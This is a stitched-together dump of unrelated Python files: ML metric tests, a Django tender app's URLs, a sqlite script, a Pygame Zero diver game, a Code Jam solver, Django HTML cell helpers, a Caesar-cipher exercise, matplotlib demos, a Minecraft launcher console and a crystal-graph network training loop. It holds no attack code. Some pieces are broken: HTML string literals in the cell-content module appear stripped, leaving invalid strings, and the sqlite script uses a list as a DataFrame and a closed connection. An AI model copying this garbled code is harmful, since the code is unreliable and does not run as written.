            [0.1, -0.1, 1., 0., 0.],
            [0.1, -0.1, 1., 0., 0.],
        ]])
        labels = tf.constant([[2, 2]])
        metrics.padded_cross_entropy_loss(logits, labels, smoothing=0.05, vocab_size=5)

    def test_padded_accuracy(self):
        logits = tf.constant([[
            [0.1, -0.1, 1., 0., 0.],
            [0.1, -0.1, 1., 0., 0.],
            [0.1, -0.1, 1., 0., 0.],
        ]])
        labels = tf.constant([[2, 3, 0]])  # 0 == PAD
        result, weight = metrics.padded_accuracy(logits, labels)
        self.assertEqual(result.numpy().tolist(), [[1., 0., 0.]])
        self.assertEqual(weight.numpy().tolist(), [[1., 1., 0.]])


from django.urls import path
from . import views

urlpatterns = [
    path('', views.tender_list),
    path('cfo_true/', views.tender_cfo_true),
    path('cfo_false/', views.tender_cfo_false),
    path('cfo_null/', views.tender_cfo_null),
    path('<int:tender_id>/', views.tender_detail),
    path('add/', views.tender_add),
    path('<int:tender_id>/delete/', views.tender_delete),
    path('<int:tender_id>/edit/', views.tender_edit),
    path('<int:tender_id>/participant_add/', views.participant_add),
    path('<int:tender_id>/participants/<int:participant_id>/delete/', views.participant_delete),
    path('<int:tender_id>/goods_add/', views.goods_add),
    path('<int:tender_id>/goods/<int:goods_id>/delete/', views.goods_delete),
    path('<int:tender_id>/prices_edit/', views.prices_edit),
    path('<int:tender_id>/select-winners/', views.select_winners),
    path('<int:tender_id>/select-winners/edit/', views.select_winners_edit),
    path('<int:tender_id>/delete_selected/', views.select_winners_delete),
    path('<int:tender_id>/cpo_confirm/', views.tender_cpo_confirm),
    path('<int:tender_id>/cpo_reject/', views.tender_cpo_reject),
    path('<int:tender_id>/cfo_confirm/', views.tender_cfo_confirm),
    path('<int:tender_id>/cfo_reject/', views.tender_cfo_reject),
    path('products/', views.product_list),
    path('products/category/<int:id>/', views.product_by_category),
    path('products/add/', views.product_add),
    path('products/<int:id>/delete/', views.product_delete),
    path('products/<int:id>/edit/', views.product_edit),
    path('product-category/', views.product_category_list),
    path('product-category/add/', views.product_category_add),
    path('product-category/<int:id>/delete/', views.product_category_delete),
    path('product-category/<int:id>/edit/', views.product_category_edit),
    path('providers/', views.provider_list),
    path('providers/<int:id>/', views.provider_detail),
    path('providers/add/', views.provider_add),
    path('providers/<int:id>/delete/', views.provider_delete),
    path('providers/<int:id>/edit/', views.provider_edit),
    path('organizations/', views.organization_list),
    path('organizations/add/', views.organization_add),
    path('organizations/<int:id>/delete/', views.organization_delete),
    path('organizations/<int:id>/edit/', views.organization_edit),
]


import sqlite3
import sqlalchemy as db
import pandas as pd

df = []

'''
#option 1
cnx = sqlite3.connect(':memory')
df.to_sql(name='df',con=cnx)

p2 = pd.read_sql('select * from df', cnx)
'''

'''
#option 2
engine = db.create_engine('sqlite:///save_pandas.db', echo=True)
sqlite_connection = engine.connect()
metadata = db.MetaData()
df = db.Table('df', metadata, autoload=True, autoload_with=engine)

df.to_sql("df", sqlite_connection, if_exists='fail')

count = db.select([db.func.count([df])])

sqlite_connection.close()

'''

#%% Performing operations

sqlite_file = r'/impakter_app/ProjectData.sqlite'
cnx = sqlite3.connect(sqlite_file)
c = cnx.cursor()

#%% dataframe operations
df.to_sql(name='df',con=cnx)

#%%
sources = pd.read_sql('select sourceID,name from sources', cnx)

#%% Normal querying
c.execute(f'SELECT * from sources')

all_rows = c.fetchall()

source = str("source name")
c.execute("insert into sources (name) values (?)",(source,))

cnx.commit()
cnx.close()

#%% article operation

df = pd.read_csv("/impakter_app/Services/ProjectData/articles.csv")

for ind in df.index:
    c.execute("insert into articles (articleID,url,sourceID,content_hash,summary) values (?,?,?,?,?)", (str(df.loc[ind, 'id']), df.loc[ind, 'url'], df.loc[ind, 'source_id'], str(df.loc[ind, 'content_hash']), df.loc[ind, 'summary']))

cnx.commit()
cnx.close()


import random

WIDTH,HEIGHT = 750,600

# make seaweed
seaweed = Actor('seaweed', midbottom=(WIDTH/2,HEIGHT+20))

# make diver
diver = Actor('diver-right', midtop=seaweed.midtop)
diver.xspeed = 0
diver.yspeed = 0

# make shark
shark = Actor('shark-left', pos=(WIDTH/2,50))
# use two variables to store the target position of the shark
shark.xspeed = 0
shark.yspeed = 0
# speed multiplier of shark
shark.speedMultiplier = 1

# make fish
fish = []
for i in range(10):
    f=Actor('fish', pos=(random.randint(0,WIDTH),random.randint(0,HEIGHT/2)))
    f.xspeed = random.uniform(1,3)
    fish.append(f)

# global variables
GRAVITY = 0.1
FRICTION = 0.97
gameState = 'play'
score = 0

def draw():
    screen.clear()
    screen.fill((70,130,200))
    if gameState == 'play':
        diver.draw()
        for f in fish:
            f.draw()
        seaweed.draw()
        shark.draw()

        screen.draw.text("Fish Collected: " + str(score), midtop=(WIDTH/2,0), color=(255,255,255), shadow=(2,2))
    elif gameState == 'lose':
        diver.draw()
        screen.draw.text("Game Over!\n\nPress Enter to Play Again \nor Escape to Quit!", center=(WIDTH/2, HEIGHT/2), fontsize=35)

def update():
    global score, gameState

    # apply gravity and friction
    diver.yspeed += GRAVITY
    diver.xspeed *= FRICTION
    diver.yspeed *= FRICTION

    # if player is pressing 'up' make diver swim up, etc. Only do this when gameState is play
    if gameState == 'play':
        if keyboard.up:
            diver.yspeed -= .3
        if keyboard.left:
            diver.xspeed -= .3
            diver.image = 'diver-left'
        if keyboard.right:
            diver.xspeed += .3
            diver.image = 'diver-right'
        if keyboard.down:
            diver.yspeed += .1

    # update position of diver
    diver.y += diver.yspeed
    diver.x += diver.xspeed
    # if game is over, we also want to rotate the diver
    if gameState == 'lose':
        diver.angle += 1

    # keep diver onscreen - only do this if gameState is play
    if gameState == 'play':
        if diver.right > WIDTH:
            diver.right = WIDTH
            diver.xspeed = 0
        elif diver.left < 0:
            diver.left = 0
            diver.xspeed = 0
        if diver.bottom > HEIGHT:
            diver.bottom = HEIGHT
            diver.yspeed = 0
        elif diver.top < 0:
            diver.top = 0
            diver.yspeed = 0

    # update shark
    # move shark towards target
    shark.x += shark.xspeed
    shark.y += shark.yspeed
    # check if shark got diver. Diver is still safe if hiding behind seaweed.
    if shark.colliderect(diver) and not seaweed.contains(diver):
        gameState = 'lose'
        music.fadeout(4)

    # update fish
    # move each fish
    for f in fish:
        f.x += f.xspeed
        if f.left > WIDTH:
            f.right = 0
    # check if player collected fish
    for f in fish:
        if diver.colliderect(f):
            f.pos = (-100,random.randint(0,HEIGHT/2))
            score += 1
            sounds.pop.play()

def setTarget():
    if seaweed.contains(diver):
        xtarget = random.randint(0,WIDTH)
        ytarget = random.randint(0,HEIGHT)
        shark.speedMultiplier /= 1.1
    else:
        xtarget = diver.x
        ytarget = diver.y
        shark.speedMultiplier *= 1.1

    # find the shark's necessary xspeed and yspeed to get to target point
    distance = shark.distance_to((xtarget, ytarget))
    shark.xspeed = shark.speedMultiplier * (xtarget-shark.x)/distance
    shark.yspeed = shark.speedMultiplier * (ytarget-shark.y)/distance

    # set direction of shark
    if shark.xspeed < 0:
        shark.image = 'shark-left'
    else:
        shark.image = 'shark-right'

    # clamp the speed multiplier between 1 and 6
    if shark.speedMultiplier > 6:
        shark.speedMultiplier = 6
    elif shark.speedMultiplier < 1:
        shark.speedMultiplier = 1

def on_key_down(key):
    global gameState, score
    # reset the game
    if key is keys.RETURN and gameState != 'play':
        score = 0
        # reset shark
        shark.midtop = WIDTH/2,0
        shark.xspeed = 0
        shark.yspeed = 0
        shark.speedMultiplier = 1
        # reset diver
        diver.midtop = seaweed.midtop
        diver.xspeed = 0
        diver.yspeed = 0
        diver.angle = 0
        # set gameState back to play
        gameState = 'play'
        music.play('water_theme')
    # exit game
    elif key == keys.ESCAPE and gameState != 'play':
        quit()

clock.schedule_interval(setTarget,1)

music.play('water_theme')


#!/usr/bin/python

"""Usage: $ python A_store_credit.py inputFile [outputFile]"""

import sys, datetime

def solve(credit, items, price_list):
    """You receive a credit C at a local store and would like to buy two items.
       You first walk through the store and create a list L of all available items.
       From this list you would like to buy two items that add up to the entire value
       of the credit. The solution you provide will consist of the two integers
       indicating the positions of the items in your list (smaller number first).
    """
    price_less_credit = []

    for i in range(items):
        value = price_list[i]
        value_less_credit = credit - value
        if value_less_credit > 0:
            price_less_credit.append(value_less_credit)

    for i in price_less_credit:
        try:
            if i in price_list:
                one = i
                one_index = price_list.index(one)
                price_list[one_index] = None
                another = credit - one
                another_index = price_list.index(another)

                index = [one_index + 1, another_index + 1]

                return "{} {}".format(min(index), max(index))
        except ValueError:
            pass

def main():
    # Test if at least input file is provided
    if len(sys.argv) < 2:
        print('Please provide input file')
        print('Usage: %s inputfile [outputfile]' % sys.argv[0])
        return
    # Start time
    timestart = datetime.datetime.now()

    # Open input and output files
    try:
        inputFile = open(sys.argv[1])
    except:
        print('Failed to read input file %s' % sys.argv[1])
        return
    try:
        outputFile = open(sys.argv[2], 'w') if len(sys.argv) >= 3 else None
    except:
        print('Failed to create output file %s' % sys.argv[2])
        return

    testCases = int(inputFile.readline().strip())

    # Display number of test cases and output file name
    print('-----------------')
    print('Test cases: %d ' % testCases)
    print('No output file' if len(sys.argv) < 3 else 'Writing to %s' % sys.argv[2])
    print('-----------------')

    # Loop through all test cases
    for testCaseNumber in range(1, testCases+1):

        # Read an integer
        credit = int(inputFile.readline().strip())
        items = int(inputFile.readline().strip())
        # Read a list of integers
        price_list = list(map(int, inputFile.readline().strip().split()))

        string = 'Case #{}: {}'.format(testCaseNumber, solve(credit, items, price_list))

        # print return string and write it to output file
        print(string)
        if outputFile:
            outputFile.write(string + '\n')

    # Print some final info: output file name and execution time
    print('-----------------')
    print('Written to %s' % sys.argv[2] if outputFile else 'No output file')
    print('Elapsed time: %s' % (datetime.datetime.now() - timestart))
    print('-----------------')

    # Close input and output files
    inputFile.close()
    if outputFile:
        outputFile.close()

if __name__=='__main__':
    main()


from datetime import datetime, date, timedelta, time

from django.utils.safestring import mark_safe
from djaveDT import tz_dt_to_str, time_to_time_str, d_to_str, tz_dt_to_tz_dt
from djmoney.money import Money

class CellContent(object):
  def as_html(self):
    raise NotImplementedError('as_html')

  def as_csv(self):
    raise NotImplementedError('as_csv')

  def __eq__(self, other):
    return self.as_html() == other.as_html()

  def __str__(self):
    return self.as_html()

  def __repr__(self):
    return self.as_html()

class Tooltip(CellContent):
  def __init__(self, label, help_text, width=None):
    self.label = label
    self.help_text = help_text
    self.width = width

  def as_html(self):
    width_str = ''
    if self.width:
      width_str = ' style="width: {}px;"'.format(self.width)
    template = (
        '
{}{}
')
    return mark_safe(template.format(self.label, width_str, self.help_text))

  def as_csv(self):
    return self.label

class Feedback(CellContent):
  def __init__(self, text, html_finder=None):
    self.text = text
    self.html_finder = html_finder

  def as_html(self):
    another_class = ''
    if self.html_finder:
      another_class = ' {}'.format(self.html_finder)
    return (
        '{}'.format(another_class, self.text))

class DisappearingFeedback(Feedback):
  """ This is pretty much so I can briefly display "Saved!" on the page when
  the user clicks a Save button which causes a POST. """
  def __init__(self, text='Saved!', html_finder='hide_soon'):
    super().__init__(text, html_finder)

  def as_html(self):
    html = super().as_html()
    js = (
        '\n').format(self.html_finder)
    return mark_safe(html + js)

class InHref(CellContent):
  def __init__(self, cell_contents, url, classes=None, button=False):
    self.cell_contents = cell_contents
    self.url = url
    self.classes = classes or []
    if button:
      self.classes.append('button')

  def as_html(self):
    classes_str = ''
    if self.classes:
      classes_str = ' class="{}"'.format(' '.join(self.classes))
    return mark_safe('{}'.format(
        self.url, classes_str, cell_contents_as_html(self.cell_contents)))

  def as_csv(self):
    return cell_contents_as_csv(self.cell_contents)

class ButtonInHref(InHref):
  def __init__(self, cell_contents, url, classes=[]):
    classes.append('button')
    super().__init__(cell_contents, url, classes=classes)

class StringContent(CellContent):
  def __init__(self, the_string):
    self.the_string = the_string

  def as_html(self):
    if not self.the_string:
      return ' '
    return self.the_string

  def as_csv(self):
    if not self.the_string:
      return ''
    return self.the_string

class Paragraph(StringContent):
  def as_html(self):
    return mark_safe('
{}
'.format(super().as_html()))

class Img(CellContent):
  def __init__(self, img_src):
    self.img_src = img_src

  def as_html(self):
    return ''.format(self.img_src)

  def as_csv(self):
    return self.img_src

class CellContentList(CellContent):
  def __init__(self, cell_contents):
    self.cell_contents = cell_contents

  def as_html(self):
    return cell_contents_as_html(self.cell_contents)

  def as_csv(self):
    return cell_contents_as_csv(self.cell_contents)

def assert_cell_contents_equal(
    expected_cell_contents, actual_cell_contents, message_prefix=''):
  if expected_cell_contents.__class__ != actual_cell_contents.__class__:
    raise AssertionError((
        '{}I am expecting cell contents to be of type {}, '
        'but instead it is {}').format(
            message_prefix, expected_cell_contents.__class__,
            actual_cell_contents.__class__))
  if isinstance(expected_cell_contents, list):
    if len(expected_cell_contents) != len(actual_cell_contents):
      raise AssertionError((
          '{}I am expecting {} cell content objects, but I got {} of '
          'them').format(
              message_prefix, len(expected_cell_contents),
              len(actual_cell_contents)))
    for i in range(len(expected_cell_contents)):
      assert_cell_content_equal(
          expected_cell_contents[i], actual_cell_contents[i],
          message_prefix='{} cell content {}'.format(message_prefix, i))
      return True
  return assert_cell_content_equal(
      expected_cell_contents, actual_cell_contents,
      message_prefix=message_prefix)

def assert_cell_content_equal(
    expected_cell_content, actual_cell_content, message_prefix=''):
  if expected_cell_content.__class__ != actual_cell_content.__class__:
    raise AssertionError((
        '{}I am expecting an object of type {} but got an object of '
        'type {}').format(
            message_prefix, expected_cell_content.__class__,
            actual_cell_content.__class__))
  if hasattr(expected_cell_content, 'assertEqual'):
    return expected_cell_content.assertEqual(
        actual_cell_content, message_prefix=message_prefix)
  if expected_cell_content != actual_cell_content:
    raise AssertionError('{}{} != {}'.format(
        message_prefix, expected_cell_content, actual_cell_content))

def cell_contents_as_html(cell_contents):
  to_return = []
  for cell_content in _cell_contents_as_list(cell_contents):
    to_return.append(cell_content.as_html())
  # Don't '\n'.join(to_return) because that will insert whitespace nodes
  # between buttons, causing the buttons to spread out more.
  return ''.join(to_return)

def cell_contents_as_csv(cell_contents):
  to_return = []
  for cell_content in _cell_contents_as_list(cell_contents, csv=True):
    to_return.append(cell_content.as_csv())
  return ''.join(to_return)

def _cell_contents_as_list(cell_contents, csv=False):
  if not isinstance(cell_contents, list):
    return _cell_contents_as_list([cell_contents], csv=csv)
  to_return = []
  for cell_content in cell_contents:
    to_return.append(obj_as_cell_content(cell_content, csv=csv))
  return to_return

def is_primitive(obj):
  return isinstance(obj, (int, str, bool, float))

def obj_as_cell_content(obj, csv=False):
  if isinstance(obj, CellContent):
    return obj
  if is_primitive(obj):
    if csv:
      return StringContent(str(obj).replace('\n', ' '))
    else:
      return StringContent(str(obj).replace('\n', '
'))
  if obj is None:
    return StringContent('')
  if isinstance(obj, datetime):
    if csv:
      return StringContent(tz_dt_to_tz_dt(obj).isoformat())
    else:
      return StringContent(tz_dt_to_str(obj))
  if isinstance(obj, date):
    if csv:
      return StringContent(obj.isoformat())
    else:
      return StringContent(d_to_str(obj))
  if isinstance(obj, timedelta):
    # Trim off microseconds.
    return StringContent(str(timedelta(days=obj.days, seconds=obj.seconds)))
  if isinstance(obj, time):
    return StringContent(time_to_time_str(obj))
  if isinstance(obj, list):
    return CellContentList([
        obj_as_cell_content(cell_content) for cell_content in obj])
  if isinstance(obj, Money):
    return StringContent(str(obj))
  raise Exception('I am not sure how to turn a {} into a CellContent'.format(
      obj.__class__))


"""
어떤 문장의 각 알파벳을 일정한 거리만큼 밀어서 다른 알파벳으로 바꾸는 암호화 방식을 시저 암호라고 합니다.

A를 3만큼 밀면 D가 되고 z를 1만큼 밀면 a가 됩니다. 공백은 수정하지 않습니다.

보낼 문자열 s와 얼마나 밀지 알려주는 n을 입력받아 암호문을 만드는 ceasar 함수를 완성해 보세요.

“a B z”,4를 입력받았다면 “e F d”를 리턴합니다.
z = 97 ~ 122
A = 65 ~ 90
"""
#미해결
def caesar(s, n):
    list = []
    for i in s:
        m = ord(i)
        if m <= 90:
            if m == 32:
                list.append(" ")
            else:
                list.append(chr((m-65+n)%26+65))
        else:
            list.append(chr((m-97+n)%26+97))
    return "".join(list)
# 실행을 위한 테스트코드입니다.

print('s는 "a B z", n은 4인 경우: ' + caesar("ua AqNtFiXd yzBipuqkBHPgOHqMJufPuCgBQZh l itlKIy", 4))


#!/usr/bin/env python
"""
Only emit rows from a file that do NOT have the search string.

:Authors:
    Jacob Porter <jsporter@virginia.edu>
"""
import os
import sys

# Check that the correct number of command line arguments were provided
if len(sys.argv) != 3:
    print("Usage: python3 program.py input_file.txt search_string")
    sys.exit(1)

# Read the input file name and the string to search for from the command line
input_file_name = sys.argv[1]
search_string = sys.argv[2]

# Check if the input file exists
if not os.path.exists(input_file_name):
    print("Error: Input file does not exist")
    sys.exit(1)

# Open the input file and read the lines
# Iterate over the lines and print those that do not contain the search string
with open(input_file_name, "r") as input_file:
    for line in input_file:
        if search_string not in line:
            sys.stdout.write(line)


# MatPlotLib_Exercises.py

# - Jim

import numpy as np
import matplotlib.pyplot as plt

x = np.arange(0, 100)
y = x * 2
z = x ** 2

fig1 = plt.figure()
fig1_axes1 = fig1.add_axes([0.1, 0.1, 0.85, 0.85])
fig1_axes1.plot(x, y, "r")

fig1_axes1.set_xlabel("x")
fig1_axes1.set_ylabel("y = x *2")
fig1_axes1.set_title("title")

fig1_axes2 = fig1.add_axes([0.2, 0.5, 0.2, 0.2])
fig1_axes2.plot(x, y, "r")
fig1_axes2.set_xlabel("x")
fig1_axes2.set_ylabel("y = x * 2")

plt.show()

###############################

fig2 = plt.figure()

# Large plot:
fig2_axes1 = fig2.add_axes([0.1, 0.1, 0.8, 0.8])  # Create the axes.
fig2_axes1.plot(x, z)  # Add the graph.
fig2_axes1.set_xlabel("x")
fig2_axes1.set_ylabel("x ** 2")

# Small plot:
fig2_axes2 = fig2.add_axes([0.2, 0.5, 0.4, 0.4])
fig2_axes2.plot(x, y)
fig2_axes2.set_xlabel("x")
fig2_axes2.set_ylabel("x * 2")
fig2_axes2.set_title("Zoom")
fig2_axes2.set_xlim([20, 22])
fig2_axes2.set_ylim([30, 50])

plt.show()

# 2 subplots in 1 figure (1 row, 2 columms):
# Note: If your screen has > 100 per inch, then the output
# will be smaller as dpi defaults to 100.  So, setting
# dpi=115 as per my computer's parameter.
fig3, alist = plt.subplots(1, 2, figsize=(12, 4), dpi=115)

alist[0].plot(x, y, "b--", lw=3)  # Left graph
alist[1].plot(x, z, "r", lw=3)  # Right graph

plt.show()


# -*- coding: utf8 -*-
from .Config import Config
from ..core.Mojang import Mojang
from .Constants import *
from ..utils.utils import hint
from ..utils.RichText import RichText

import os
import json

class Console:

    def __init__(self, config):
        '''初始化控制台实例'''
        self.config = config

    def userInteraction(self):
        '''控制台展示用户交互界面'''
        if self.config.version == None:
            # 如果没有提示版本参数，则展示可选版本号供用户选择
            self.showVersionList()

        if self.config.username == Config.GAME_DEFAULT_USERNAME and not self.config.is_extract_music:
            # 如果用户名为默认值时，提示用户选择一个自己的用户名进行游戏
            self.showUserName()

        # 客户端启动方式
        self.selectLauncherProfile()

    def showVersionList(self):
        '''控制台交互显示可选客户端版本号'''

        releaseVersions = Mojang.get_release_version_id_list(update = True)
        releaseVersions = releaseVersions[0:releaseVersions.index('1.13')+1]
        column = 6
        table_versions = [releaseVersions[i:i+column] for i in range(0, len(releaseVersions), column)]
        RichText.table(
            title = '目前支持的游戏版本',
            table_data = table_versions)

        if len(releaseVersions) > 0:
            self.config.version = releaseVersions[0] # 默认版本号

        select = hint(SELECT_VERSION_HINT % ('deploy' if not self.config.is_client else 'play' , DEFAULT_VERSION_HINT % self.config.version))

        if len(select) > 0:
            found = False
            for releaseVersion in releaseVersions:
                if releaseVersion == select.strip():
                    found = True
                    self.config.version = releaseVersion
                    print(CHOOSED_VERSION % self.config.version)
            if not found:
                print(NOT_FOUND_VERSION)
        else:
            print(CHOOSED_DEFAULT_VERSION % self.config.version)

        print('\n')

    def showUserName(self):
        '''控制台交互输入玩家用户名'''

        # 只针对客户端有效
        if not self.config.is_client:
            return

        u = hint(CHOOSE_USERNAME_HINT % self.config.username)

        if len(u) > 0:
            self.config.username = u
            print(CHOOSED_USERNAME % self.config.username)
        else:
            print(CHOOSED_DEFAULT_USERNAME)

        print('\n')

    def selectLauncherProfile(self):

        if not self.config.is_client or not self.config.isPure:
            return

        if not (self.config.optifine or self.config.fabric):
            return

        launcher_profiles_json_file_path = self.config.game_version_launcher_profiles_json_path()
        if os.path.exists(launcher_profiles_json_file_path):
            content = None
            with open(launcher_profiles_json_file_path, 'r') as f:
                content = json.load(f)
                profiles = content.get('profiles', None)
                count = len(profiles)
                if count > 0:
                    print(ColorString.warn("There are those profiles you can choose to launch: "))
                    index = 0
                    selectedIndex = 0
                    keys = profiles.keys()
                    for key in keys:
                        index = index + 1
                        if key == content['selectedProfile']:
                            selectedIndex = index
                        isSelected = '*' if key == content['selectedProfile'] else ' '
                        print(ColorString.hint('\t%s %s. %s' % (isSelected, index, key)))

                    options = "[1 - %s] " % count if count > 1 else ""
                    try:
                        input = hint(ColorString.warn("Which one you choose %s: " % options))
                        which = int(input) if input and len(input) > 0 else selectedIndex
                        if which >= 1 and which <= count:
                            selected_key = list(keys)[which - 1]
                            self.config.lastVersionId = profiles.get(selected_key).get('lastVersionId')
                            content['selectedProfile'] = selected_key
                        else:
                            print(ColorString.error("There is no option you specified!"))
                            exit(-1)
                    except:
                        print(ColorString.error("There is no option you specified!"))
                        exit(-1)

            if content != None:
                with open(launcher_profiles_json_file_path, 'w') as f:
                    json.dump(content, f)


import os
import shutil
import sys
import time
import warnings
from random import sample

import numpy as np
import torch
import torch.nn as nn
import torch.optim as opt
from sklearn import metrics
from torch.autograd import Variable
from torch.optim.lr_scheduler import MultiStepLR

from cgcnn.data import CIFData_nocif
from cgcnn.data import collate_pool, get_train_val_test_loader
from cgcnn.model import CrystalGraphConvNet
def test(
    dataset,
    task='regression',
    workers=0,
    epochs=30,
    start_epoch=0,
    batch_size=256,
    lr=.01,
    lr_milestones=[100],
    momentum=0.9,
    weight_decay=0,
    print_freq=10,
    resume='',
    train_ratio=None,
    train_size=None,
    val_ratio=0.1,
    val_size=None,
    test_ratio=0.1,
    test_size=None,
    optim='SGD',
    atom_fea_len=64,
    h_fea_len=128,
    n_conv=3,
    n_h=1,
    save_path=None):
    assert task in ['regression', 'classification'], 'Must be regression or classification'
    assert epochs > 0, 'Epochs must be positive!'
    assert optim in ['SGD', 'Adam'], 'optimizer must be SGD or Adam!'
    if task == 'regression':
        best_mae_error = 1e10
    else:
        best_mae_error = 0
    hyper_parameters = [task, workers, epochs, start_epoch, batch_size, lr, lr_milestones, momentum,
                        weight_decay, print_freq, resume, train_ratio, train_size, val_ratio, val_size, test_ratio,
                        test_size, optim, atom_fea_len, h_fea_len, n_conv, n_h]
    # load data

    global cuda
    cuda = torch.cuda.is_available()
    #dataset = CIFData_nocif(data_options)
    collate_fn = collate_pool
    train_loader, val_loader, test_loader = get_train_val_test_loader(
        dataset=dataset,
        collate_fn=collate_fn,
        batch_size=batch_size,
        train_ratio=train_ratio,
        num_workers=workers,
        val_ratio=val_ratio,
        test_ratio=test_ratio,
        pin_memory=cuda,
        train_size=train_size,
        val_size=val_size,
        test_size=test_size,
        return_test=True)

    # obtain target value normalizer
    if task == 'classification':
        normalizer = Normalizer(torch.zeros(2))
        normalizer.load_state_dict({'mean': 0., 'std': 1.})
    else:
        if len(dataset) < 500:
            warnings.warn('Dataset has less than 500 data points. '
                          'Lower accuracy is expected. ')
            sample_data_list = [dataset[i] for i in range(len(dataset))]
        else:
            sample_data_list = [dataset[i] for i in
                                sample(range(len(dataset)), 500)]
        _, sample_target, _ = collate_pool(sample_data_list)
        normalizer = Normalizer(sample_target)

    # build model
    structures, _, _ = dataset[0]
    orig_atom_fea_len = structures[0].shape[-1]
    nbr_fea_len = structures[1].shape[-1]
    model = CrystalGraphConvNet(orig_atom_fea_len, nbr_fea_len,
                                atom_fea_len=atom_fea_len,
                                n_conv=n_conv,
                                h_fea_len=h_fea_len,
                                n_h=n_h,
                                classification=True if task ==
                                                       'classification' else False)
    if cuda:
        model.cuda()

    # define loss func and optimizer
    if task == 'classification':
        criterion = nn.NLLLoss()
    else:
        criterion = nn.MSELoss()
    if optim == 'SGD':
        optimizer = opt.SGD(model.parameters(), lr,
                              momentum=momentum,
                              weight_decay=weight_decay)
    elif optim == 'Adam':
        optimizer = opt.Adam(model.parameters(), lr,
                               weight_decay=weight_decay)
    else:
        raise NameError('Only SGD or Adam is allowed as --optim')

    # optionally resume from a checkpoint
    if resume:
        if os.path.isfile(resume):
            print("=> loading checkpoint '{}'".format(resume))
            checkpoint = torch.load(resume)
            start_epoch = checkpoint['epoch']
            best_mae_error = checkpoint['best_mae_error']
            model.load_state_dict(checkpoint['state_dict'])
            optimizer.load_state_dict(checkpoint['optimizer'])
            normalizer.load_state_dict(checkpoint['normalizer'])
            print("=> loaded checkpoint '{}' (epoch {})"
                  .format(resume, checkpoint['epoch']))
        else:
            print("=> no checkpoint found at '{}'".format(resume))

    scheduler = MultiStepLR(optimizer, milestones=lr_milestones,
                            gamma=0.1)
    mae_graph = np.zeros((epochs))
    for epoch in range(start_epoch, epochs):
        # train for one epoch
        train(train_loader, model, criterion, optimizer, epoch, normalizer, task=task, print_freq=print_freq)

        # evaluate on validation set
        mae_error = validate(val_loader, model, criterion, normalizer, task=task, print_freq=print_freq)

        if mae_error != mae_error:
            print('Exit due to NaN')
            sys.exit(1)

        scheduler.step()

        mae_graph[epoch] = mae_error
        # remember the best mae_eror and save checkpoint
        if task == 'regression':
            is_best = mae_error < best_mae_error
            best_mae_error = min(mae_error, best_mae_error)
        else:
            is_best = mae_error > best_mae_error
            best_mae_error = max(mae_error, best_mae_error)
        #save_checkpoint({
        #    'epoch': epoch + 1,
        #    'state_dict': model.state_dict(),
        #    'best_mae_error': best_mae_error,
        #    'optimizer': optimizer.state_dict(),
        #    'normalizer': normalizer.state_dict(),
        #    'params': vars(hyper_parameters)
        #}, is_best)
    if save_path is not None:
        torch.save({
            'model_state_dict': model.state_dict(),
            'best_mae_error': best_mae_error,
            'optimizer': optimizer.state_dict(),
            'normalizer': normalizer.state_dict(),
        }, save_path)
    return mae_graph
    # test best model
    #print('---------Evaluate Model on Test Set---------------')
    #best_checkpoint = torch.load('model_best.pth.tar')
    #model.load_state_dict(best_checkpoint['state_dict'])
    #validate(test_loader, model, criterion, normalizer, test=True)

def train(train_loader, model, criterion, optimizer, epoch, normalizer, task, print_freq):
    batch_time = AverageMeter()
    data_time = AverageMeter()
    losses = AverageMeter()
    if task == 'regression':
        mae_errors = AverageMeter()
    else:
        accuracies = AverageMeter()
        precisions = AverageMeter()
        recalls = AverageMeter()
        fscores = AverageMeter()
        auc_scores = AverageMeter()

    # switch to train mode
    model.train()

    end = time.time()
    for i, (input, target, _) in enumerate(train_loader):
        # measure data loading time
        data_time.update(time.time() - end)

        if cuda:
            input_var = (Variable(input[0].cuda(non_blocking=True)),
                         Variable(input[1].cuda(non_blocking=True)),
                         input[2].cuda(non_blocking=True),
                         [crys_idx.cuda(non_blocking=True) for crys_idx in input[3]])
        else:
            input_var = (Variable(input[0]),
                         Variable(input[1]),
                         input[2],
                         input[3])
        # normalize target
        if task == 'regression':
            target_normed = normalizer.norm(target)
        else:
            target_normed = target.view(-1).long()
        if cuda:
            target_var = Variable(target_normed.cuda(non_blocking=True))
        else:
            target_var = Variable(target_normed)

        # compute output
        output = model(*input_var)
        loss = criterion(output, target_var)

        # measure accuracy and record loss
        if task == 'regression':
            mae_error = mae(normalizer.denorm(output.data.cpu()), target)
            losses.update(loss.data.cpu(), target.size(0))
            mae_errors.update(mae_error, target.size(0))
        else:
            accuracy, precision, recall, fscore, auc_score = \
                class_eval(output.data.cpu(), target)
            losses.update(loss.data.cpu().item(), target.size(0))
            accuracies.update(accuracy, target.size(0))
            precisions.update(precision, target.size(0))
            recalls.update(recall, target.size(0))
            fscores.update(fscore, target.size(0))
            auc_scores.update(auc_score, target.size(0))

        # compute gradient and do SGD step
        optimizer.zero_grad()
        loss.backward()
        optimizer.step()

        # measure elapsed time
        batch_time.update(time.time() - end)
        end = time.time()

        if i % print_freq == 0:
            if task == 'regression':
                print('Epoch: [{0}][{1}/{2}]\t'
                      'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t'
                      'Data {data_time.val:.3f} ({data_time.avg:.3f})\t'
                      'Loss {loss.val:.4f} ({loss.avg:.4f})\t'
                      'MAE {mae_errors.val:.3f} ({mae_errors.avg:.3f})'.format(
                    epoch, i, len(train_loader), batch_time=batch_time,
                    data_time=data_time, loss=losses, mae_errors=mae_errors)
                )
            else:
                print('Epoch: [{0}][{1}/{2}]\t'
                      'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t'
                      'Data {data_time.val:.3f} ({data_time.avg:.3f})\t'
                      'Loss {loss.val:.4f} ({loss.avg:.4f})\t'
                      'Accu {accu.val:.3f} ({accu.avg:.3f})\t'
                      'Precision {prec.val:.3f} ({prec.avg:.3f})\t'
                      'Recall {recall.val:.3f} ({recall.avg:.3f})\t'
                      'F1 {f1.val:.3f} ({f1.avg:.3f})\t'
                      'AUC {auc.val:.3f} ({auc.avg:.3f})'.format(
                    epoch, i, len(train_loader), batch_time=batch_time,
                    data_time=data_time, loss=losses, accu=accuracies,
                    prec=precisions, recall=recalls, f1=fscores,
                    auc=auc_scores)
                )

def validate(val_loader, model, criterion, normalizer, task, print_freq, test=False):
    batch_time = AverageMeter()
    losses = AverageMeter()
    if task == 'regression':
        mae_errors = AverageMeter()
    else:
        accuracies = AverageMeter()
        precisions = AverageMeter()
        recalls = AverageMeter()
        fscores = AverageMeter()
        auc_scores = AverageMeter()
    if test:
        test_targets = []
        test_preds = []
        test_cif_ids = []

    # switch to evaluate mode
    model.eval()

